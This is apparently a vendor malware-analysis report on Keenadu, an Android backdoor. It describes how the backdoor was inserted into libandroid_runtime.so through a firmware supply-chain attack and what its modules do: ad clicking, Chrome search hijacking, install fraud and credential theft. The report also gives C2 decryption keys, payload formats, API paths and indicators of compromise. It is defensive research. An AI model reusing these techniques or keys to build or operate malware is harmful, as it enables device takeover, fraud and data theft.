Malicious dropper in libandroid_runtime.so

At the very beginning of the investigation, our attention was drawn to suspicious libraries located at /system/lib/libandroid_runtime.so and /system/lib64/libandroid_runtime.so – we will use the shorthand /system/lib[64]/ to denote these two directories. The library exists in the original Android source. Specifically, it defines the println_native native method for the android.util.Log class. Apps utilize this method to write to the logcat system log. In the suspicious libraries, the implementation of println_native differed from the legitimate version by the call of a single function:

Call to the suspicious function

Call to the suspicious function

The suspicious function decrypted data from the library body using RC4 and wrote it to /data/dalvik-cache/arm[64]/system@framework@vndx_10x.jar@classes.jar. The data represents a payload that is loaded via DexClassLoader. The entry point within it is the main method of the com.ak.test.Main class, where β€œak” likely refers to the author’s internal name for the malware; this letter combination is also used in other locations throughout the code. In particular, the developers left behind a significant amount of code that writes error messages to the logcat log during the malware’s execution. These messages have the AK_CPP tag.

Payload decryption

Payload decryption

The payload checks whether it is running within system apps belonging either to Google services or to Sprint or T-Mobile carriers. The latter apps are typically found in specialized device versions that carriers sell at a discount, provided the buyer signs a service contract. The malware aborts its execution if it finds that it’s running within these processes. It also implements a kill switch that terminates its execution if it finds files with specific names in system directories.

Next, the Trojan checks if it is running within the system_server process. This process controls the entire system and possesses maximum privileges; it is launched by the Zygote process when it starts. If the check returns positive, the Trojan creates an instance of the AKServer class; if the code is running in any other process, it creates an instance of the AKClient class instead. It then calls the new object’s virtual method, passing the app process name to it. The class names suggest that the Trojan is built upon a client-server architecture.

Launching system_server in Zygote

Launching system_server in Zygote

The system_server process creates and launches various system services with the help of the SystemServiceManager class. These services are based on a client-server architecture, and clients for them are requested within app code by calling the Context.getSystemService method. Communication with the server-side component uses the Android inter-process communication (IPC) primitive, binder. This approach offers numerous security and other benefits. These include, among other things, the ability to restrict certain apps from accessing various system services and their functionality, as well as the presence of abstractions that simplify the use of this access for developers while simultaneously protecting the system from potential vulnerabilities in apps.

The authors of Keenadu designed it in a similar fashion. The core logic is located in the AKServer class, which operates within the system_server process. AKServer essentially represents a malicious system service, while AKClient acts as the interface for accessing AKServer via binder. For convenience, we provide a diagram of the backdoor’s architecture below:

Keenadu backdoor execution flow

Keenadu backdoor execution flow

It is important to highlight Keenadu as yet another case where we find key Android security principles being compromised. First, because the malware is embedded in libandroid_runtime.so, it operates within the context of every app on the device, thereby gaining access to all their data and rendering the system’s intended app sandboxing meaningless. Second, it provides interfaces for bypassing permissions (discussed below) that are used to control app privileges within the system. Consequently, it represents a full-fledged backdoor that allows attackers to gain virtually unrestricted control over the victim’s device.

AKClient architecture

AKClient is relatively straightforward in its design. It is injected into every app launched on the device and retrieves an interface instance for server communication via a protected broadcast (com.action.SystemOptimizeService). Using binder, this interface sends an attach transaction to the malicious AKServer, passing an IPC wrapper that facilitates the loading of arbitrary DEX files within the context of the compromised app. This allows AKServer to execute custom malicious payloads tailored to the specific app it has targeted.

AKServer architecture

At the start of its execution, AKServer sends two protected broadcasts: com.action.SystemOptimizeService and com.action.SystemProtectService. As previously described, the first broadcast delivers an interface instance to other AKClient-infected processes for interacting with AKServer. Along with the com.action.SystemProtectService message, an instance of another interface for interacting with AKServer is transmitted. Malicious modules downloaded within the contexts of other apps can use this interface to:

  • Grant any permission to an arbitrary app on the device.
  • Revoke any permission from an arbitrary app on the device.
  • Retrieve the device’s geolocation.
  • Exfiltrate device information.
Malicious interface for permission management and device data collection

Malicious interface for permission management and device data collection

Once interaction between the server and client components is established, AKServer launches its primary malicious task, titled MainWorker. Upon its initial launch, MainWorker logs the current system time. Following this, the malware checks the device’s language settings and time zone. If the interface language is a Chinese dialect and the device is located within a Chinese time zone, the malware terminates. It also remains inactive if either the Google Play Store or Google Play Services are absent from the device. If the device passes these checks, the Trojan initiates the PluginTask task. At the start of its routine, PluginTask decrypts the command-and-control server addresses from the code as follows:

  1. The encrypted address string is decoded using Base64.
  2. The resulting data, a gzip-compressed buffer, is then decompressed.
  3. The decompressed data is decrypted using AES-128 in CFB mode. The decryption key is the MD5 hash of the string "ota.host.ba60d29da7fd4794b5c5f732916f7d5c", and the initialization vector is the string "0102030405060708".

After decrypting the C2 server addresses, the Trojan collects victim device metadata, such as the model, IMEI, MAC address, and OS version, and encrypts it using the same method as the server addresses, but this time it utilizes the MD5 hash of the string "ota.api.bbf6e0a947a5f41d7f5226affcfd858c" as the AES key. The encrypted data is sent to the C2 server via a POST request to the path /ak/api/pts/v4. The request parameters include two values:

  • m: the MD5 hash of the device IMEI
  • n: the network connection type (β€œw” for Wi-Fi, and β€œm” for mobile data)

The response from the C2 server contains a code field, which may hold an error code returned by the server. If this field has a zero value, no error has occurred. In this case, the response will include a data field: a JSON object encrypted in the same manner as the request data and containing information about the payloads.

How Keenadu compromised libandroid_runtime.so

After analyzing the initial infection stages, we set out to determine exactly how the backdoor was being integrated into Android device firmware. Almost immediately, we discovered public reports from Alldocube tablet users regarding suspicious DNS queries originating from their devices. This vendor had previously acknowledged the presence of malware in one of its tablet models. However, the company’s statement contained no specifics regarding which malware had compromised the devices or how the breach occurred. We will attempt to answer these questions.

User complaints regarding suspicious DNS queries

User complaints regarding suspicious DNS queries

The DNS queries described by the original complainant also appeared suspicious to us. According to our telemetry, the Keenadu C2 domains obtained at that time resolved to the IP addresses listed below:

  • 67.198.232[.]4
  • 67.198.232[.]187

The domains keepgo123[.]com and gsonx[.]com mentioned in the complaint resolved to these same addresses, which may indicate that the complainant’s tablet was also infected with Keenadu. However, matching IP addresses alone is insufficient for a definitive attribution. To test this hypothesis, it was necessary to examine the device itself. We considered purchasing the same tablet model, but this proved unnecessary: as it turns out, Alldocube publishes firmware archives for its devices publicly, allowing anyone to audit them for malware.

To analyze the firmware, one must first determine the storage format of its contents. Alldocube firmware packages are RAR archives containing various image files, other types of files, and a Windows-based flashing utility. From an analytical standpoint, the Android file system holds the most value. Its primary partitions, including the system partition, are contained within the image file super.img. This is an Android Sparse Image. For the sake of brevity, we will omit a technical breakdown of this format (which can be reconstructed from the libsparse code); it is sufficient to note that there are open-source utilities to extract partitions from these files in the form of standard file system images.

We extracted libandroid_runtime.so from the Alldocube iPlay 50 mini Pro (T811M) firmware dated August 18, 2023. Upon examining the library, we discovered the Keenadu backdoor. Furthermore, we decrypted the payload and extracted C2 server addresses hosted on the keepgo123[.]com and gsonx[.]com domains, confirming the user’s suspicions: their devices were indeed infected with this backdoor. Notably, all subsequent firmware versions for this model also proved to be infected, including those released after the vendor’s public statement.

Special attention should be paid to the firmware for the Alldocube iPlay 50 mini Pro NFE model. The β€œNFE” (Netflix Enabled) part of the name indicates that these devices include an additional DRM module to support high-quality streaming. To achieve this, they must meet the Widevine L1 standard under the Google Widevine DRM premium media protection system. Consequently, they process media within a TEE (Trusted Execution Environment), which mitigates the risk of untrusted code accessing content and thus prevents unauthorized media copying. While Widevine certification failed to protect these devices from infection, the initial Alldocube iPlay 50 mini Pro NFE firmware (released November 7, 2023) was clean – unlike other models’ initial firmware. However, every subsequent version, including the latest release from May 20, 2024, contained Keenadu.

During our analysis of the Alldocube device firmware, we discovered that all images carried valid digital signatures. This implies that simply compromising an OTA update server would have been insufficient for an attacker to inject the backdoor into libandroid_runtime.so. They would also need to gain possession of the private signing keys, which normally should not be accessible from an OTA server. Consequently, it is highly probable that the Trojan was integrated into the firmware during the build phase.

Furthermore, we have found a static library, libVndxUtils.a (MD5:Β ca98ae7ab25ce144927a46b7fee6bd21), containing the Keenadu code, which further supports our hypothesis. This malicious library is written in C++ and was compiled using the CMake build system. Interestingly, the library retained absolute file paths to the source code on the developer’s machine:

  • D:\work\git\zh\os\ak-client\ak-client\loader\src\main\cpp\__log_native_load.cpp: this file contains the dropper code.
  • D:\work\git\zh\os\ak-client\ak-client\loader\src\main\cpp\__log_native_data.cpp: this file contains the RC4-encrypted payload along with its size metadata.

The dropper’s entry point is the function __log_check_tag_count. The attacker inserted a call to this function directly into the implementation of the println_native method.

Code snippet where the attacker inserted the malicious call

Code snippet where the attacker inserted the malicious call

According to our data, the malicious dependency was located within the firmware source code repository at the following paths:

  • vendor/mediatek/proprietary/external/libutils/arm/libVndxUtils.a
  • vendor/mediatek/proprietary/external/libutils/arm64/libVndxUtils.a

Interestingly, the Trojan within libandroid_runtime.so decrypts and writes the payload to disk at /data/dalvik-cache/arm[64]/system@framework@vndx_10x.jar@classes.jar. The attacker most likely attempted to disguise the malicious libandroid_runtime.so dependency as a supposedly legitimate β€œvndx” component containing proprietary code from MediaTek. In reality, no such component exists in MediaTek products.

Finally, according to our telemetry, the Trojan is found not only in Alldocube devices but also in hardware from other manufacturers. In all instances, the backdoor is embedded within tablet firmware. We have notified these vendors about the compromise.

Based on the evidence presented above, we believe that Keenadu was integrated into Android device firmware as the result of a supply chain attack. One stage of the firmware supply chain was compromised, leading to the inclusion of a malicious dependency within the source code. Consequently, the vendors may have been unaware that their devices were infected prior to reaching the market.

Keenadu backdoor modules

As previously noted, the inherent architecture of Keenadu allows attackers to gain virtually unrestricted control over the victim’s device. To understand exactly how they leveraged this capability, we analyzed the payloads downloaded by the backdoor. To achieve this, we crafted a request to the C2 server, masquerading as an infected device. Initially, the C2 server did not deliver any files; instead, it returned a timestamp for the next check-in, scheduled 2.5 months after the initial request. Through black-box analysis of the C2 server, we determined that the request includes the backdoor’s activation time; if 2.5 months have not elapsed since that moment, the C2 will not serve any payloads. This is likely a technique designed to complicate analysis and minimize the probability of these payloads being detected. Once we modified the activation time in our request to a sufficiently distant date in the past, the C2 server returned the list of payloads for analysis.

The attacker’s server delivers information about the payloads as an object array. Each object contains a download link for the payload, its MD5 hash, target app package names, target process names, and other metadata. An example of such an object is provided below. Notably, the attackers chose Alibaba Cloud as their CDN provider.

Example of payload metadata

Example of payload metadata

Files downloaded by Keenadu utilize a proprietary format to store the encrypted payload and its configuration. A pseudocode description of this format is presented below (struct KeenaduPayload):

struct KeenaduChunk {
    uint32_t size;
    uint8_t data[size];
} __packed;

struct KeenaduPayload {
    int32_t version;
    uint8_t padding[0x100];
    uint8_t salt[0x20];
    KeenaduChunk config;
    KeenaduChunk payload;
    KeenaduChunk signature;
} __packed;

After downloading, Keenadu verifies the file integrity using MD5. The Trojan’s creators also implemented a code-signing mechanism using the DSA algorithm. The signature is verified before the payload is decrypted and executed. This ensures that only an attacker in possession of the private key can generate malicious payloads. Upon successful verification, the configuration and the malicious module are decrypted using AES-128 in CFB mode. The decryption key is the MD5 hash of the string that is a concatenation of "37d9a33df833c0d6f11f1b8079aaa2dc" and a salt, while the initialization vector is the string "0102030405060708".

The configuration contains information regarding the module’s entry and exit points, its name, and its version. An example configuration for one of the modules is provided below.

{
    "stopMethod": "stop",
    "startMethod": "start",
    "pluginId": "com.ak.p.wp",
    "service": "1",
    "cn": "com.ak.p.d.MainApi",
    "m_uninit": "stop",
    "version": "3117",
    "clazzName": "com.ak.p.d.MainApi",
    "m_init": "start"
}

Having outlined the backdoor’s algorithm for loading malicious modules, we will now proceed to their analysis.

Keenadu loader

This module (MD5:Β 4c4ca7a2a25dbe15a4a39c11cfef2fb2) targets popular online storefronts with the following package names:

  • com.amazon.mShop.android.shopping (Amazon)
  • com.zzkko (SHEIN)
  • com.einnovation.temu (Temu)

The entry point is the start method of the com.ak.p.d.MainApi class. This class initiates a malicious task named HsTask, which serves as a loader conceptually similar to AKServer. Upon execution, the loader collects victim device metadata (model, IMEI, MAC address, OS version, and so on) as well as information regarding the specific app within which it is running. The collected data is encoded using the same method as the AKServer requests sent to /ak/api/pts/v4. Once encoded, the loader exfiltrates the data via a POST request to the C2 server at /ota/api/tasks/v3.

Data collection via the plugin

Data collection via the plugin

In response, the attackers’ server returns a list of modules for download and execution, as well as a list of APK files to install on the victim’s device. Interestingly, in newer Android versions, the delivery of these APKs is implemented via installation sessions. This is likely an attempt by the malware to bypass restrictions introduced in recent OS versions, which prevent sideloaded apps from accessing sensitive permissions – specifically accessibility services.

Use of an installation session

Use of an installation session

Unfortunately, during our research, we were unable to obtain samples of the specific modules and APK files downloaded by this loader. However, users online have reported that infected tablets were adding items to marketplace shopping carts without the user’s knowledge.

User complaint on Reddit

User complaint on Reddit

Clicker loader

These modules (such as ad60f46e724d88af6bcacb8c269ac3c1) are injected into the following apps:

  • Wallpaper (com.android.wallpaper)
  • YouTube (com.google.android.youtube)
  • Facebook (com.facebook.katana)
  • Digital Wellbeing (com.google.android.apps.wellbeing)
  • System launcher (com.android.launcher3)

Upon execution, the malicious module retrieves the device’s location and IP address using a GeoIP service deployed on the attackers’ C2 server. This data, along with the network connection type and OS version, is exfiltrated to the C2. In response, the server returns a specially formatted file containing an encrypted JSON object with payload information, as well as a XOR key for decryption. The structure of this file is described below using pseudocode:

struct Payload {
    uint8_t magic[10]; // == "encrypttag"
    uint8_t keyLen;
    uint8_t xorKey[keyLen];
    uint8_t payload[];
} __packed;

The decrypted JSON consists of an array of objects containing download links for the payloads and their respective entry points. An example of such an object is provided below. The payloads themselves are encrypted using the same logic as the JSON.

Example of payload metadata

Example of payload metadata

In the course of our research, we obtained several payloads whose primary objective was to interact with advertising elements on various themed websites: gaming, recipes, and news. Each specific module interacts with one particular website whose address is hardcoded into its source.

Google Chrome module

This module (MD5: 912bc4f756f18049b241934f62bfb06c) targets the Google Chrome browser (com.android.chrome). At the start of its execution, it registers an Activity Lifecycle Callback handler. Whenever an activity is launched within the target app, this handler checks its name. If the name matches the string "ChromeTabbedActivity", the Trojan searches for a text input field (used for search queries and URLs) named url_bar.

Searching for the url_bar text element

Searching for the url_bar text element

If the element is found, the malware monitors text changes within it. All search queries entered by the user into the url_bar field are exfiltrated to the attackers’ server. Furthermore, once the user finishes typing a query, the Trojan can hijack the search request and redirect it to a different search engine, depending on the configuration received from the C2 server.

Search engine hijacking

Search engine hijacking

It is worth noting that the hijacking attempt may fail if the user selects a query from the autocomplete suggestions; in this scenario, the user does not hit Enter or tap the search button in the url_bar, which would signal the malware to trigger the redirect. However, the attackers anticipated this too. The Trojan attempts to locate the omnibox_suggestions_dropdown element within the current activity, a ViewGroup containing the search suggestions. The malware monitors taps on these suggestions and proceeds to redirect the search engine regardless.

Search engine hijacking upon selecting a browser-suggested option

Search engine hijacking upon selecting a browser-suggested option

The Nova (Phantom) clicker

The initial version of this module (MD5:Β f0184f6955479d631ea4b1ea0f38a35d) was a clicker embedded within the system wallpaper picker (com.android.wallpaper). Researchers at Dr. Web discovered it concurrently with our investigation; however, their report did not mention the clicker’s distribution vector via the Keenadu backdoor. The module utilizes machine learning and WebRTC to interact with advertising elements. While our colleagues at Dr. Web named it Phantom, the C2 server refers to it as Nova. Furthermore, the task executed within the code is named NovaTask. Based on this, we believe the original name of the clicker is Nova.

Nova as the plugin name

Nova as the plugin name

It is also worth noting that shortly after the publication of the report on this clicker, the Keenadu C2 server began deleting it from infected devices. This is likely a strategic move by the attackers to evade further detection.

Request to unload the Nova module

Request to unload the Nova module

Interestingly, in the unload request, the Nova module appeared under a slightly different name. We believe this new name disguises the latest version of the module, which functions as a loader capable of downloading the following components:

  • The Nova clicker.
  • A Spyware module which exfiltrates various types of victim device information to the attackers’ server.
  • The Gegu SDK dropper. According to our data, this is a multi-stage dropper that launches two additional clickers.

Install monetization

A module with the MD5 hash 3dae1f297098fa9d9d4ee0335f0aeed3 is embedded into the system launcher (com.android.launcher3). Upon initialization, it runs an environment check for virtual machine artifacts. If none are detected, the malware registers an event handler for session-based app installations.

Handler registration

Handler registration

Simultaneously, the module requests a configuration file from the C2 server. An example of this configuration is provided below.

Example of a monetization module configuration

Example of a monetization module configuration

When an app installation is initiated on the device, the Trojan transmits data on this app to the C2 server. In response, the server provides information regarding the specific ad used to promote it.

App ad source information

App ad source information

For every successfully completed installation session, the Trojan executes GET requests to the URL provided in the tracking_link field in the response, as well as the first link within the click array. Based on the source code, the links in the click array serve as templates into which various advertising identifiers are injected. The attackers most likely use this method to monetize app installations. By simulating traffic from the victim’s device, the Trojan deceives advertising platforms into believing that the app was installed from a legitimate ad tap.

Google Play module

Even though AKClient shuts down if it is injected into Google Play process, the C2 server have provided us with a payload for it. This module (MD5: 529632abf8246dfe555153de6ae2a9df) retrieves the Google Ads advertising ID and stores it via a global instance of the Settings class under the key S_GA_ID3. Subsequently, other modules may utilize this value as a victim identifier.

Retrieving the advertising ID

Retrieving the advertising ID

Other Keenadu distribution vectors

During our investigation, we decided to look for alternative sources of Keenadu infections. We discovered that several of the modules described above appeared in attacks that were not linked to the compromise of libandroid_runtime.so. Below are the details of these alternative vectors.

System apps

According to our telemetry, the Keenadu loader was found within various system apps in the firmware of several devices. One such app (MD5:Β d840a70f2610b78493c41b1a344b6893) was a face recognition service with the package name com.aiworks.faceidservice. It contains a set of trained machine-learning models used for facial recognition – specifically for authorizing users via Face ID. To facilitate this, the app defines a service named com.aiworks.lock.face.service.FaceLockService, which the system UI (com.android.systemui) utilizes to unlock the device.

Using the face recognition service in the System UI

Using the face recognition service in the System UI

Within the onCreate method of the com.aiworks.lock.face.service.FaceLockService, triggered upon that service’s creation, three receivers are registered. These receivers monitor screen on/off events, the start of charging, and the availability of network access. Each of these receivers calls the startMars method whose primary purpose is to initialize the malicious loader by calling the init method of the com.hs.client.TEUtils class.

Malicious call

Malicious call

The loader is a slightly modified version of the Keenadu loader. This specific variant utilizes a native library libhshelper.so to load modules and facilitate APK installs. To accomplish this, the library defines corresponding native methods within the com.hs.helper.NativeMain class.

Native methods defined by the library

Native methods defined by the library

This specific attack vector – embedding a loader within system apps – is not inherently new. We have previously documented similar cases, such as the Dwphon loader, which was integrated into system apps responsible for OTA updates. However, this marks the first time we have encountered a Trojan embedded within a facial recognition service.

In addition to the face recognition service, we identified other system apps infected with the Keenadu loader. These included the launcher app on certain devices (MD5:Β 382764921919868d810a5cf0391ea193). A malicious service, com.pri.appcenter.service.RemoteService, was embedded into these apps to trigger the Trojan’s execution.

We also discovered the Keenadu loader within the app with package name com.tct.contentcenter (MD5:Β d07eb2db2621c425bda0f046b736e372). This app contains the advertising SDK fwtec, which retrieved its configuration via an HTTP GET request to hxxps://trends.search-hub[.]cn/vuGs8 with default redirection disabled. In response, the Trojan expected a 302 redirect code where the Location header provided an URL containing the SDK configuration within its parameters. One specific parameter, hsby_search_switch, controlled the activation of the Keenadu loader: if its value was set to 1, the loader would initialize within the app.

Retrieving the configuration from the C2

Retrieving the configuration from the C2

Loading via other backdoors

While analyzing our telemetry, we discovered an unusual version of the Keenadu loader (MD5:Β f53c6ee141df2083e0200a514ba19e32) located in the directories of various apps within external storage, specifically at paths following the pattern: /storage/emulated/0/Android/data/%PACKAGE%/files/.dx/. Based on the code analysis, this loader was designed to operate within a system where the system_server process had already been compromised. Notably, the binder interface names used in this version differed from those used by AKServer. The loader utilized the following interfaces:

  • com.androidextlib.sloth.api.IPServiceM
  • com.androidextlib.sloth.api.IPermissionsM

These same binder interfaces are defined by another backdoor that is structured similarly and was also discovered within libandroid_runtime.so. The execution of this other backdoor on infected devices proceeds as follows: libandroid_runtime.so imports a malicious function __android_log_check_loggable from the liblog.so library (MD5:Β 3d185f30b00270e7e30fc4e29a68237f). This function is called within the implementation of the println_native native method of the android.util.Log class. It decrypts a payload embedded in the library’s body using a single-byte XOR and executes it within the context of all apps on the device.

Payload decryption

Payload decryption

The payload shares many similarities with BADBOX, a comprehensive malware platform first described by researchers at HUMAN Security. Specifically, the C2 server paths used for the Trojan’s HTTP requests are a match. This leads us to believe that this is a specific variant of BADBOX.

The path /terminal/client/register was previously documented in a HUMAN Security report

The path /terminal/client/register was previously documented in a HUMAN Security report

Within this backdoor, we also discovered the binder interfaces utilized by the aforementioned Keenadu loader. This suggests that those specific instances of Keenadu were deployed directly by BADBOX.

One of the binder interfaces used by Keenadu is defined in the payload

One of the binder interfaces used by Keenadu is defined in the payload

Modifications of popular apps

Unfortunately, even if your firmware does not contain Keenadu or another pre-installed backdoor, the Trojan still poses a threat to you. The Nova (Phantom) clicker was discovered by researchers at Dr. Web around the same time as we held our investigation. Their findings highlight a different distribution vector: modified versions of popular software distributed primarily through unofficial sources, as well as various apps found in the GetApps store.

Google Play

Infected apps have managed to infiltrate Google Play too. During our research, we identified trojanized software for smart cameras published on the official Android app store. Collectively, these apps had been downloaded more than 300,000 times.

Examples of infected apps in Google Play

Examples of infected apps in Google Play

Each of these apps contained an embedded service named com.arcsoft.closeli.service.KucopdInitService, which launched the aforementioned Nova clicker. We alerted Google to the presence of the infected apps in its store, and they removed the malware. Curiously, while the malicious service was present in all identified apps, it was configured to execute only in one specific package: com.taismart.global.

The malicious service was launched only under specific conditions

The malicious service was launched only under specific conditions

The Fantastic Four: how Triada, BADBOX, Vo1d, and Keenadu are connected

After discovering that BADBOX downloads one of the Keenadu modules, we decided to conduct further research to determine if there were any other signs of a connection between these Trojans. As a result, we found that BADBOX and Keenadu shared similarities in the payload code that was decrypted and executed by the malicious code in libandroid_runtime.so. We also identified similarities between the Keenadu loader and the BB2DOOR module of the BADBOX Trojan. Given that there are also distinct differences in the code, and considering that BADBOX was downloading the Keenadu loader, we believe these are separate botnets, and the developers of Keenadu likely found inspiration in the BADBOX source code. Furthermore, the authors of Keenadu appear to target Android tablets primarily.

In our recent report on the Triada backdoor, we mentioned that the C2 server for one of its downloaded modules was hosted on the same domain as one of the Vo1d botnet’s servers, which could suggest a link between those two Trojans. However, during the current investigation, we managed to uncover a connection between Triada and the BADBOX botnet as well. As it turns out, the directories where BADBOX downloaded the Keenadu loader also contained other payloads for various apps. Their description warrants a separate report; for the sake of brevity, we will not delve into the details here, limiting ourselves to the analysis of a payload for the Telegram and Instagram clients (MD5:Β 8900f5737e92a69712481d7a809fcfaa). The entry point for this payload is the com.extlib.apps.InsTGEnter class. The payload is designed to steal victims’ account credentials in the infected services. Interestingly, it also contains code for stealing credentials from the WhatsApp client, though it is currently not utilized.

BADBOX payload code used for stealing credentials from WhatsApp clients

BADBOX payload code used for stealing credentials from WhatsApp clients

The C2 server addresses used by the Trojan to exfiltrate device data are stored in the code in an encrypted format. They are first decoded using Base64 and then decrypted via a XOR operation with the string "xiwljfowkgs".

Decrypted payload C2 addresses

Decrypted payload C2 addresses

After decrypting the C2 addresses, we discovered the domain zcnewy[.]com, which we had previously identified in 2022 during our investigation of malicious WhatsApp mods containing Triada. At that time, we assumed that the code segment responsible for stealing WhatsApp credentials and the malicious dropper both belonged to Triada. However, since we have now established that zcnewy[.]com is linked to BADBOX, we believe that the infected WhatsApp modifications we described in 2022 actually contained two distinct Trojans: Triada and BADBOX. To verify this hypothesis, we re-examined one of those modifications (MD5:Β caa640824b0e216fab86402b14447953) and confirmed that it contained the code for both the Triada dropper and a BADBOX module functionally similar to the one described above. Although the Trojans were launched from the same entry point, they did not interact with each other and were structured in entirely different ways. Based on this, we conclude that what we observed in 2022 was a joint attack by the BADBOX and Triada operators.

BADBOX and Triada launched from the same entry point

BADBOX and Triada launched from the same entry point

These findings show that several of the largest Android botnets are interacting with one another. Currently, we have confirmed links between Triada, Vo1d, and BADBOX, as well as the connection between Keenadu and BADBOX. Researchers at HUMAN Security have also previously reported a connection between Vo1d and BADBOX. It is important to emphasize that these connections are not necessarily transitive. For example, the fact that both Triada and Keenadu are linked to BADBOX does not automatically imply that Triada and Keenadu are directly connected; such a claim would require separate evidence. However, given the current landscape, we would not be surprised if future reports provide the evidence needed to prove the transitivity of these relationships.

Victims

According to our telemetry, 13,715 users worldwide have encountered Keenadu or its modules. Our security solutions recorded the highest number of users attacked by the malware in Russia, Japan, Germany, Brazil and the Netherlands.

Recommendations

Our technical support team is often asked what steps should be taken if a security solution detects Keenadu on a device. In this section, we examine all possible scenarios for combating this Trojan.

If the libandroid_runtime.so library is infected

Modern versions of Android mount the system partition, which contains libandroid_runtime.so, as read-only. Even if one were to theoretically assume the possibility of editing this partition, the infected libandroid_runtime.so library cannot be removed without damaging the firmware: the device would simply cease to boot. Therefore, it is impossible to eliminate the threat using standard Android OS tools. Operating a device infected with the Keenadu backdoor can involve significant inconveniences. Reviews of infected devices complain about intrusive ads and various mysterious sounds whose source cannot be identified.

Review of an infected tablet complaining about noise

Review of an infected tablet complaining about noise

If you encounter the Keenadu backdoor, we recommend the following:

  • Check for software updates. It is possible that a clean firmware version has already been released for your device. After updating, use a reliable security solution to verify that the issue has been resolved.
  • If a clean firmware update from the manufacturer does not exist for your device, you can attempt to install a clean firmware yourself. However, it is important to remember that manually flashing a device can brick it.
  • Until the firmware is replaced or updated, we recommend that you stop using the infected device.

If one of the system apps is infected

Unfortunately, as in the previous case, it is not possible to remove such an app from the device because it is located in the system partition. If you encounter the Keenadu loader in a system app, our recommendations are:

  1. Find a replacement for the app, if applicable. For example, if the launcher app is infected, you can download any alternative that does not contain malware. If no alternatives exist for the app – for example, if the face recognition service is infected – we recommend avoiding the use of that specific functionality whenever possible.
  2. Disable the infected app using ADB if an alternative has been found or you don’t really need it. This can be done with the command adb shell pm disable --user 0 %PACKAGE%.

If an infected app has been installed on the device

This is one of the simplest cases of infection. If a security solution has detected an app infected with Keenadu on your device, simply uninstall it following the instructions the solution provides.

Conclusion

Developers of pre-installed backdoors in Android device firmware have always stood out for their high level of expertise. This is still true for Keenadu: the creators of the malware have a deep understanding of the Android architecture, the app startup process, and the core security principles of the operating system. During the investigation, we were surprised by the scope of the Keenadu campaigns: beyond the primary backdoor in firmware, its modules were found in system apps and even in apps from Google Play. This places the Trojan on the same scale as threats like Triada or BADBOX. The emergence of a new pre-installed backdoor of this magnitude indicates that this category of malware is a distinct market with significant competition.

Keenadu is a large-scale, complex malware platform that provides attackers with unrestricted control over the victim’s device. Although we have currently shown that the backdoor is used primarily for various types of ad fraud, we do not rule out that in the future, the malware may follow in Triada’s footsteps and begin stealing credentials.

Indicators of compromise

Additional IoCs, technical details and a YARA rule for detecting Keenadu activity are available to customers of our Threat Intelligence Reporting service. For more details, contact us at crimewareintel@kaspersky.com.

Malicious libandroid_runtime.so libraries
bccd56a6b6c9496ff1acd40628edd25e
c4c0e65a5c56038034555ec4a09d3a37
cb9f86c02f756fb9afdb2fe1ad0184ee
f59ad0c8e47228b603efc0ff790d4a0c
f9b740dd08df6c66009b27c618f1e086
02c4c7209b82bbed19b962fb61ad2de3
185220652fbbc266d4fdf3e668c26e59
36db58957342024f9bc1cdecf2f163d6
4964743c742bb899527017b8d06d4eaa
58f282540ab1bd5ccfb632ef0d273654
59aee75ece46962c4eb09de78edaa3fa
8d493346cb84fbbfdb5187ae046ab8d3
9d16a10031cddd222d26fcb5aa88a009
a191b683a9307276f0fc68a2a9253da1
65f290dd99f9113592fba90ea10cb9b3
68990fbc668b3d2cfbefed874bb24711
6d93fb8897bf94b62a56aca31961756a

Keenadu payloads
2922df6713f865c9cba3de1fe56849d7
3dae1f297098fa9d9d4ee0335f0aeed3
462a23bc22d06e5662d379b9011d89ff
4c4ca7a2a25dbe15a4a39c11cfef2fb2
5048406d8d0affa80c18f8b1d6d76e21
529632abf8246dfe555153de6ae2a9df
7ceccea499cfd3f9f9981104fc05bcbd
912bc4f756f18049b241934f62bfb06c
98ff5a3b5f2cdf2e8f58f96d70db2875
aa5bf06f0cc5a8a3400e90570fb081b0
ad60f46e724d88af6bcacb8c269ac3c1
dc3d454a7edb683bec75a6a1e28a4877
f0184f6955479d631ea4b1ea0f38a35d

System applications infected with Keenadu loader
07546413bdcb0e28eadead4e2b0db59d
0c1f61eeebc4176d533b4fc0a36b9d61
10d8e8765adb1cbe485cb7d7f4df21e4
11eaf02f41b9c93e9b3189aa39059419
19df24591b3d76ad3d0a6f548e608a43
1bfb3edb394d7c018e06ed31c7eea937
1c52e14095f23132719145cf24a2f9dc
21846f602bcabccb00de35d994f153c9
2419583128d7c75e9f0627614c2aa73f
28e6936302f2d290c2fec63ca647f8a6
382764921919868d810a5cf0391ea193
45bf58973111e00e378ee9b7b43b7d2d
56036c2490e63a3e55df4558f7ecf893
64947d3a929e1bb860bf748a15dba57c
69225f41dcae6ddb78a6aa6a3caa82e1
6df8284a4acee337078a6a62a8b65210
6f6e14b4449c0518258beb5a40ad7203
7882796fdae0043153aa75576e5d0b35
7c3e70937da7721dd1243638b467cff1
9ddd621daab4c4bc811b7c1990d7e9ea
a0f775dd99108cb3b76953e25f5cdae4
b841debc5307afc8a4592ea60d64de14
c57de69b401eb58c0aad786531c02c28
ca59e49878bcf2c72b99d15c98323bcd
d07eb2db2621c425bda0f046b736e372
d4be9b2b73e565b1181118cb7f44a102
d9aecc9d4bf1d4b39aa551f3a1bcc6b7
e9bed47953986f90e814ed5ed25b010c

Applications infected with Nova clicker
0bc94bc4bc4d69705e4f08aaf0e976b3
1276480838340dcbc699d1f32f30a5e9
15fb99660dbd52d66f074eaa4cf1366d
2dca15e9e83bca37817f46b24b00d197
350313656502388947c7cbcd08dc5a95
3e36ffda0a946009cb9059b69c6a6f0d
5b0726d66422f76d8ba4fbb9765c68f6
68b64bf1dea3eb314ce273923b8df510
9195454da9e2cb22a3d58dbbf7982be8
a4a6ff86413b3b2a893627c4cff34399
b163fa76bde53cd80d727d88b7b1d94f
ba0a349f177ffb3e398f8c780d911580
bba23f4b66a0e07f837f2832a8cd3bd4
d6ebc5526e957866c02c938fc01349ee
ec7ab99beb846eec4ecee232ac0b3246
ef119626a3b07f46386e65de312cf151
fcaeadbee39fddc907a3ae0315d86178

Payload CDN
ubkt1x.oss-us-west-1.aliyuncs[.]com
m-file-us.oss-us-west-1.aliyuncs[.]com
pkg-czu.istaticfiles[.]com
pkgu.istaticfiles[.]com
app-download.cn-wlcb.ufileos[.]com

C2 servers
110.34.191[.]81
110.34.191[.]82
67.198.232[.]4
67.198.232[.]187
fbsimg[.]com
tmgstatic[.]com
gbugreport[.]com
aifacecloud[.]com
goaimb[.]com
proczone[.]com
gvvt1[.]com
dllpgd[.]click
fbgraph[.]com
newsroomlabss[.]com
sliidee[.]com
keepgo123[.]com
